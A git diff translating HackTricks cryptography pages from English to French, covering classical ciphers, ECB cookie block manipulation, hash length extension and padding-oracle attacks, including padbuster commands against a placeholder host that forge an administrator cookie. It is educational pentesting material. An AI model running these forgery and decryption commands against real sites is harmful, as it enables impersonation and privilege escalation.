is used when writing SMS).\ -For example: 2=A, 22=B, 222=C, 3=D...\ -You can identify this code because you will see\*\* several numbers repeated\*\*. +Vous pouvez décoder ce code sur: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) -You can decode this code in: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) - -### Bacon Code - -Substitude each letter for 4 As or Bs (or 1s and 0s) +### Code Bacon +Remplacez chaque lettre par 4 As ou Bs (ou 1s et 0s) ``` 00111 01101 01010 00000 00010 00000 10000 00000 00010 01101 01010 00000 AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ``` - ### Runes ![](../.gitbook/assets/runes.jpg) ## Compression -**Raw Deflate** and **Raw Inflate** (you can find both in Cyberchef) can compress and decompress data without headers. +**Raw Deflate** et **Raw Inflate** (vous pouvez trouver les deux dans Cyberchef) peuvent compresser et décompresser des données sans en-têtes. -## Easy Crypto +## Cryptographie facile ### XOR - Autosolver @@ -255,30 +174,25 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ### Bifid -A keywork is needed - +Une clé est nécessaire. ``` fgaargaamnlunesuneoa ``` - ### Vigenere -A keywork is needed - +Une clé est nécessaire ``` wodsyoidrods ``` - * [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver) * [https://www.dcode.fr/vigenere-cipher](https://www.dcode.fr/vigenere-cipher) * [https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx](https://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx) -## Strong Crypto +## Cryptographie forte ### Fernet -2 base64 strings (token and key) - +2 chaînes de base64 (jeton et clé) ``` Token: gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmCv_fS3_VpjL7HxCz7_Q== @@ -286,27 +200,24 @@ gAAAAABWC9P7-9RsxTz_dwxh9-O2VUB7Ih8UCQL1_Zk4suxnkCvb26Ie4i8HSUJ4caHZuiNtjLl3qfmC Key: -s6eI5hyNh8liH7Gq0urPC-vzPgNnxauKvRO4g03oYI= ``` - * [https://asecuritysite.com/encryption/ferdecode](https://asecuritysite.com/encryption/ferdecode) -### Samir Secret Sharing - -A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). +### Partage de secret de Samir +Un secret est divisé en X parties et pour le récupérer, vous avez besoin de Y parties (_Y <=X_). ``` 8019f8fa5879aa3e07858d08308dc1a8b45 80223035713295bddf0b0bd1b10a5340b89 803bc8cf294b3f83d88e86d9818792e80cd ``` - [http://christian.gen.co/secrets/](http://christian.gen.co/secrets/) -### OpenSSL brute-force +### Brute-force OpenSSL * [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) * [https://github.com/carlospolop/easy\_BFopensslCTF](https://github.com/carlospolop/easy\_BFopensslCTF) -## Tools +## Outils * [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) * [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) @@ -316,14 +227,14 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/cryptography/electronic-code-book-ecb.md b/cryptography/electronic-code-book-ecb.md index 5d9240085..daebb6535 100644 --- a/cryptography/electronic-code-book-ecb.md +++ b/cryptography/electronic-code-book-ecb.md @@ -1,90 +1,65 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - # ECB -(ECB) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** (depends on the size of the block of input data, encryption algorithm) and then to encrypt (decrypt) each block of clear text using the only key. +(ECB) Electronic Code Book - schéma de chiffrement symétrique qui **remplace chaque bloc de texte clair** par le **bloc de texte chiffré**. C'est le **schéma de chiffrement le plus simple**. L'idée principale est de **diviser** le texte clair en **blocs de N bits** (dépend de la taille du bloc de données d'entrée, de l'algorithme de chiffrement) puis de chiffrer (déchiffrer) chaque bloc de texte clair en utilisant la seule clé. ![](https://upload.wikimedia.org/wikipedia/commons/thumb/e/e6/ECB_decryption.svg/601px-ECB_decryption.svg.png) -Using ECB has multiple security implications: +L'utilisation de ECB a plusieurs implications en matière de sécurité : -* **Blocks from encrypted message can be removed** -* **Blocks from encrypted message can be moved around** +* **Des blocs du message chiffré peuvent être supprimés** +* **Des blocs du message chiffré peuvent être déplacés** -# Detection of the vulnerability +# Détection de la vulnérabilité -Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`|`**.\ -Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.\ -You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**. - -Like in the following example. Observe how these** 2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`** +Imaginez que vous vous connectez à une application plusieurs fois et que vous obtenez **toujours le même cookie**. C'est parce que le cookie de l'application est **`|`**.\ +Ensuite, vous générez deux nouveaux utilisateurs, tous deux avec le **même mot de passe long** et **presque** le **même nom d'utilisateur**.\ +Vous découvrez que les **blocs de 8B** où l'**info des deux utilisateurs** est la même sont **égaux**. Ensuite, vous imaginez que cela pourrait être dû à l'utilisation de **ECB**. +Comme dans l'exemple suivant. Observez comment ces **2 cookies décodés** ont plusieurs fois le bloc **`\x23U\xE45K\xCB\x21\xC8`**. ``` \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 \x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9 ``` +Cela est dû au fait que le **nom d'utilisateur et le mot de passe de ces cookies contenaient plusieurs fois la lettre "a"** (par exemple). Les **blocs** qui sont **différents** sont des blocs qui contenaient **au moins 1 caractère différent** (peut-être le délimiteur "|" ou une différence nécessaire dans le nom d'utilisateur). -This is because the **username and password of those cookies contained several times the letter "a"** (for example). The **blocks** that are **different** are blocks that contained **at least 1 different character** (maybe the delimiter "|" or some necessary difference in the username). +Maintenant, l'attaquant doit simplement découvrir si le format est `` ou ``. Pour ce faire, il peut simplement **générer plusieurs noms d'utilisateur** avec des **noms d'utilisateur et des mots de passe similaires et longs jusqu'à ce qu'il trouve le format et la longueur du délimiteur :** -Now, the attacker just need to discover if the format is `` or ``. For doing that, he can just **generate several usernames **with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:** +| Longueur du nom d'utilisateur : | Longueur du mot de passe : | Longueur du nom d'utilisateur + mot de passe : | Longueur du cookie (après décodage) : | +| ------------------------------- | -------------------------- | --------------------------------------------- | ------------------------------------- | +| 2 | 2 | 4 | 8 | +| 3 | 3 | 6 | 8 | +| 3 | 4 | 7 | 8 | +| 4 | 4 | 8 | 16 | +| 7 | 7 | 14 | 16 | -| Username length: | Password length: | Username+Password length: | Cookie's length (after decoding): | -| ---------------- | ---------------- | ------------------------- | --------------------------------- | -| 2 | 2 | 4 | 8 | -| 3 | 3 | 6 | 8 | -| 3 | 4 | 7 | 8 | -| 4 | 4 | 8 | 16 | -| 7 | 7 | 14 | 16 | +# Exploitation de la vulnérabilité -# Exploitation of the vulnerability - -## Removing entire blocks - -Knowing the format of the cookie (`|`), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it: +## Suppression de blocs entiers +En connaissant le format du cookie (`|`), afin d'usurper l'identité de l'utilisateur `admin`, créez un nouvel utilisateur appelé `aaaaaaaaadmin`, récupérez le cookie et décodez-le : ``` \x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` - -We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.\ -Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`: - +Nous pouvons voir le motif `\x23U\xE45K\xCB\x21\xC8` créé précédemment avec le nom d'utilisateur qui ne contenait que `a`.\ +Ensuite, vous pouvez supprimer le premier bloc de 8B et vous obtiendrez un cookie valide pour l'utilisateur `admin`: ``` \xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4 ``` +## Déplacement de blocs -## Moving blocks +Dans de nombreuses bases de données, il est équivalent de chercher `WHERE username='admin';` ou `WHERE username='admin ';` _(Notez les espaces supplémentaires)_ -In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _(Note the extra spaces)_ +Ainsi, une autre façon d'usurper l'utilisateur `admin` serait de : -So, another way to impersonate the user `admin` would be to: +* Générer un nom d'utilisateur tel que : `len() + len(` générera 2 blocs de 8Bs. +* Ensuite, générer un mot de passe qui remplira un nombre exact de blocs contenant le nom d'utilisateur que nous voulons usurper et des espaces, comme : `admin ` -* Generate a username that: `len() + len(` will generate 2 blocks of 8Bs. -* Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin ` +Le cookie de cet utilisateur sera composé de 3 blocs : les 2 premiers sont les blocs du nom d'utilisateur + délimiteur et le troisième est celui du mot de passe (qui simule le nom d'utilisateur) : `username |admin ` -The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password (which is faking the username): `username |admin ` +** Ensuite, il suffit de remplacer le premier bloc par le dernier et nous usurperons l'utilisateur `admin` : `admin |username`** -** Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`** - -# References +# Références * [http://cryptowiki.net/index.php?title=Electronic_Code_Book\_(ECB)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_\(ECB\)) @@ -93,16 +68,14 @@ The cookie of this user is going to be composed by 3 blocks: the first 2 is the ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. - - diff --git a/cryptography/hash-length-extension-attack.md b/cryptography/hash-length-extension-attack.md index 4aca0ce5e..4b9f3d093 100644 --- a/cryptography/hash-length-extension-attack.md +++ b/cryptography/hash-length-extension-attack.md @@ -1,70 +1,32 @@ +# Résumé de l'attaque +Imaginez un serveur qui **signe** des **données** en **ajoutant** un **secret** à des données claires connues, puis en hachant ces données. Si vous connaissez : -
+* **La longueur du secret** (cela peut également être forcé par une plage de longueur donnée) +* **Les données claires** +* **L'algorithme (et il est vulnérable à cette attaque)** +* **Le padding est connu** + * Habituellement, un padding par défaut est utilisé, donc si les 3 autres exigences sont remplies, cela l'est également + * Le padding varie en fonction de la longueur du secret+des données, c'est pourquoi la longueur du secret est nécessaire -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Alors, il est possible pour un **attaquant** d'**ajouter** des **données** et de **générer** une **signature** valide pour les **données précédentes + données ajoutées**. -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +## Comment ? -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +Fondamentalement, les algorithmes vulnérables génèrent les hachages en hachant d'abord un bloc de données, puis, à partir du hash précédemment créé (état), ils ajoutent le bloc de données suivant et le hachent. -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +Ensuite, imaginez que le secret est "secret" et les données sont "data", le MD5 de "secretdata" est 6036708eba0d11f6ef52ad44e8b74d5b.\ +Si un attaquant veut ajouter la chaîne "append", il peut : -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Générer un MD5 de 64 "A" +* Changer l'état du hash précédemment initialisé en 6036708eba0d11f6ef52ad44e8b74d5b +* Ajouter la chaîne "append" +* Terminer le hash et le hash résultant sera un **valide pour "secret" + "data" + "padding" + "append"** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - -# Summary of the attack - -Imagine a server which is **signing** some **data** by **appending** a **secret** to some known clear text data and then hashing that data. If you know: - -* **The length of the secret** (this can be also bruteforced from a given length range) -* **The clear text data** -* **The algorithm (and it's vulnerable to this attack)** -* **The padding is known** - * Usually a default one is used, so if the other 3 requirements are met, this also is - * The padding vary depending on the length of the secret+data, that's why the length of the secret is needed - -Then, it's possible for an **attacker** to **append** **data** and **generate** a valid **signature** for the **previos data + appended data**. - -## How? - -Basically the vulnerable algorithms generate the hashes by firstly **hashing a block of data**, and then, **from** the **previously** created **hash** (state), they **add the next block of data** and **hash it**. - -Then, imagine that the secret is "secret" and the data is "data", the MD5 of "secretdata" is 6036708eba0d11f6ef52ad44e8b74d5b.\ -If an attacker wants to append the string "append" he can: - -* Generate a MD5 of 64 "A"s -* Change the state of the previously initialized hash to 6036708eba0d11f6ef52ad44e8b74d5b -* Append the string "append" -* Finish the hash and the resulting hash will be a **valid one for "secret" + "data" + "padding" + "append"** - -## **Tool** +## **Outil** {% embed url="https://github.com/iagox86/hash_extender" %} -# References - -You can find this attack good explained in [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- +# Références +Vous pouvez trouver cette attaque bien expliquée dans [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks) diff --git a/cryptography/padding-oracle-priv.md b/cryptography/padding-oracle-priv.md index d8ee1f51e..e06861a95 100644 --- a/cryptography/padding-oracle-priv.md +++ b/cryptography/padding-oracle-priv.md @@ -1,93 +1,62 @@ - - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
- - # CBC - Cipher Block Chaining -In CBC mode the **previous encrypted block is used as IV** to XOR with the next block: +En mode CBC, le **bloc chiffré précédent est utilisé comme IV** pour XOR avec le bloc suivant : ![CBC encryption](https://defuse.ca/images/cbc\_encryption.png) -To decrypt CBC the **opposite** **operations** are done: +Pour décrypter CBC, les **opérations opposées** sont effectuées : ![CBC decryption](https://defuse.ca/images/cbc\_decryption.png) -Notice how it's needed to use an **encryption** **key** and an **IV**. +Remarquez qu'il est nécessaire d'utiliser une **clé de chiffrement** et un **IV**. -# Message Padding +# Remplissage de message -As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.\ -Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`. +Comme le chiffrement est effectué en **blocs de taille fixe**, un **remplissage** est généralement nécessaire dans le **dernier bloc** pour compléter sa longueur.\ +Généralement, **PKCS7** est utilisé, ce qui génère un remplissage **répétant** le **nombre** d'**octets nécessaires** pour **compléter** le bloc. Par exemple, si le dernier bloc manque 3 octets, le remplissage sera `\x03\x03\x03`. -Let's look at more examples with a **2 blocks of length 8bytes**: +Regardons d'autres exemples avec **2 blocs de 8 octets de longueur** : -| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | +| octet #0 | octet #1 | octet #2 | octet #3 | octet #4 | octet #5 | octet #6 | octet #7 | octet #0 | octet #1 | octet #2 | octet #3 | octet #4 | octet #5 | octet #6 | octet #7 | | ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** | | P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** | | P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | -Note how in the last example the **last block was full so another one was generated only with padding**. +Notez comment dans le dernier exemple, le **dernier bloc était plein, donc un autre a été généré uniquement avec un remplissage**. -# Padding Oracle +# Oracle de remplissage -When an application decrypts encrypted data, it will first decrypt the data; then it will remove the padding. During the cleanup of the padding, if an **invalid padding triggers a detectable behaviour**, you have a **padding oracle vulnerability**. The detectable behaviour can be an **error**, a **lack of results**, or a **slower response**. +Lorsqu'une application décrypte des données chiffrées, elle décryptera d'abord les données ; puis elle supprimera le remplissage. Pendant le nettoyage du remplissage, si un **remplissage invalide déclenche un comportement détectable**, vous avez une **vulnérabilité d'oracle de remplissage**. Le comportement détectable peut être une **erreur**, un **manque de résultats** ou une **réponse plus lente**. -If you detect this behaviour, you can **decrypt the encrypted data** and even **encrypt any cleartext**. +Si vous détectez ce comportement, vous pouvez **décrypter les données chiffrées** et même **chiffrer n'importe quel texte en clair**. -## How to exploit - -You could use [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) to exploit this kind of vulnerability or just do +## Comment exploiter +Vous pouvez utiliser [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) pour exploiter ce type de vulnérabilité ou simplement faire... ``` sudo apt-get install padbuster ``` - -In order to test if the cookie of a site is vulnerable you could try: - +Pour tester si le cookie d'un site est vulnérable, vous pouvez essayer : ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" ``` +**L'encodage 0** signifie que **base64** est utilisé (mais d'autres sont disponibles, vérifiez le menu d'aide). -**Encoding 0** means that **base64** is used (but others are available, check the help menu). - -You could also **abuse this vulnerability to encrypt new data. For example, imagine that the content of the cookie is "**_**user=MyUsername**_**", then you may change it to "\_user=administrator\_" and escalate privileges inside the application. You could also do it using `paduster`specifying the -plaintext** parameter: - +Vous pourriez également **exploiter cette vulnérabilité pour chiffrer de nouvelles données. Par exemple, imaginez que le contenu du cookie est "**_**user=MyUsername**_**", vous pouvez le changer en "\_user=administrateur\_" et ainsi obtenir des privilèges élevés dans l'application. Vous pouvez également le faire en utilisant `padbuster` en spécifiant le paramètre -plaintext** : ```bash perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" ``` - -If the site is vulnerable `padbuster`will automatically try to find when the padding error occurs, but you can also indicating the error message it using the **-error** parameter. - +Si le site est vulnérable, `padbuster`essaiera automatiquement de trouver quand l'erreur de padding se produit, mais vous pouvez également indiquer le message d'erreur en utilisant le paramètre **-error**. ```bash perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" ``` +## La théorie -## The theory +En résumé, vous pouvez commencer à décrypter les données chiffrées en devinant les valeurs correctes qui peuvent être utilisées pour créer tous les différents paddings. Ensuite, l'attaque de l'oracle de padding commencera à décrypter les octets de la fin vers le début en devinant quelle sera la valeur correcte qui crée un padding de 1, 2, 3, etc. -In **summary**, you can start decrypting the encrypted data by guessing the correct values that can be used to create all the **different paddings**. Then, the padding oracle attack will start decrypting bytes from the end to the start by guessing which will be the correct value that **creates a padding of 1, 2, 3, etc**. - -![](<../.gitbook/assets/image (629) (1) (1).png>) - -Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.\ -In order to **decrypt** the **last** **block** (**E8** to **E15**), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.\ -Finally, each intermediary byte is **XORed** with the previous encrypted bytes (E0 to E7). So: +Imaginez que vous avez un texte chiffré qui occupe 2 blocs formés par les octets de E0 à E15. Pour décrypter le dernier bloc (E8 à E15), tout le bloc passe par le "déchiffrement du chiffrement par bloc" générant les octets intermédiaires I0 à I15. Enfin, chaque octet intermédiaire est XORé avec les octets chiffrés précédents (E0 à E7). Ainsi : * `C15 = D(E15) ^ E7 = I15 ^ E7` * `C14 = I14 ^ E6` @@ -95,28 +64,25 @@ Finally, each intermediary byte is **XORed** with the previous encrypted bytes ( * `C12 = I12 ^ E4` * ... -Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7` +Maintenant, il est possible de modifier `E7` jusqu'à ce que `C15` soit `0x01`, ce qui sera également un padding correct. Ainsi, dans ce cas : `\x01 = I15 ^ E'7` -So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7` +Donc, en trouvant E'7, il est possible de calculer I15 : `I15 = 0x01 ^ E'7` -Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` +Ce qui nous permet de calculer C15 : `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` -Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`. +En connaissant C15, il est maintenant possible de calculer C14, mais cette fois en forçant le padding `\x02\x02`. -This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.\ -Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** +Ce BF est aussi complexe que le précédent car il est possible de calculer 